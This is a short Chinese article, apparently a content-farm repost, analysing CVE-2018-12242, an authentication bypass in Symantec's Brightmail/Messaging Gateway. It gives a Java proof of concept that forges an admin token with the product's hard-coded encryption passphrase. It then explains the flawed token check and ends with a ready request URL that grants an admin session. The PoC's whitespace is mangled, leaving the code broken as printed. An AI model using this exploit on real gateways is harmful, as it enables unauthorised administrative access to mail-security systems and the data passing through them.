千家信息网

怎么实现CVE-2018-12242漏洞分析

发表于:2024-09-24 作者:千家信息网编辑
千家信息网最后更新 2024年09月24日,怎么实现CVE-2018-12242漏洞分析,相信很多没有经验的人对此束手无策,为此本文总结了问题出现的原因和解决方法,通过这篇文章希望你能解决这个问题。CVE-2018-12242手里有symant
千家信息网最后更新 2024年09月24日怎么实现CVE-2018-12242漏洞分析

怎么实现CVE-2018-12242漏洞分析,相信很多没有经验的人对此束手无策,为此本文总结了问题出现的原因和解决方法,通过这篇文章希望你能解决这个问题。

CVE-2018-12242

手里有symantec的源码 于是立刻就分析了 存在手里一直没动

先上poc

import java.security.SecureRandom;import javax.crypto.Cipher;import javax.crypto.SecretKey;import javax.crypto.SecretKeyFactory;import javax.crypto.spec.PBEKeySpec;import javax.crypto.spec.PBEParameterSpec;import sun.misc.BASE64Encoder;public class Test{       publicstatic void main(String args[]){              try{                     //System.out.print(123);                     byte[]salt = new byte[8];                     SecureRandomrandom = SecureRandom.getInstance("SHA1PRNG");                     random.nextBytes(salt);                     PBEKeySpeckeySpec = newPBEKeySpec("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ,./<>?;':\"\\{}`~!@#$%^&*()_+-=".toCharArray());                     SecretKeyFactorykeyFactory = SecretKeyFactory.getInstance("PBEWithMD5AndDES");                     SecretKeykey = keyFactory.generateSecret(keySpec);                     PBEParameterSpecparamSpec = new PBEParameterSpec(salt, 1000);                     Ciphercipher = Cipher.getInstance("PBEWithMD5AndDES");                     cipher.init(1,key, paramSpec);                     //byte[]salt;                     BASE64Encoderencoder = new BASE64Encoder();                     StringsaltString = encoder.encode(salt);                     Stringtext = "admin:";                     byte[]ciphertext = cipher.doFinal(text.getBytes());                     StringciphertextString = encoder.encode(ciphertext);                     System.out.print(saltString+ ciphertextString);              }catch(Exception e){                     System.out.print(e);              }        }}

核心还是在加密解密这块


加密算法一直是固定的

但是FIPS186PRNG这个算法太古老了

只能拿SHA1PRNG代替

接下来分析一波漏洞触发点

token = BrightmailDecrypt.decrypt(token);

接收到token用公共的解密方法解密

解密之后按 " : "

分割 前面为username 后面为 passwordhash

然后按username做sql查询

然后调用getAdministratorUserByName方法


GetSQLAdministratorUserByName生成sql语句

然后查询

接着对比

如果user为空会抛出一个不存在该用户的异常

如果passwordhash与查询到的passwordhash不一致也会抛出异常

那么passwordhash是什么呢

在开启重置密码选项后 该字段为空。。。

然后创建一个admin session的正常操作….

那么最终payload为

/brightmail/action2.do?method=passwordReset&authorization=S9m%2bdmCBN8k%3dfot%2fxYG299k%3d


看完上述内容,你们掌握怎么实现CVE-2018-12242漏洞分析的方法了吗?如果还想学到更多技能或想了解更多相关内容,欢迎关注行业资讯频道,感谢各位的阅读!

0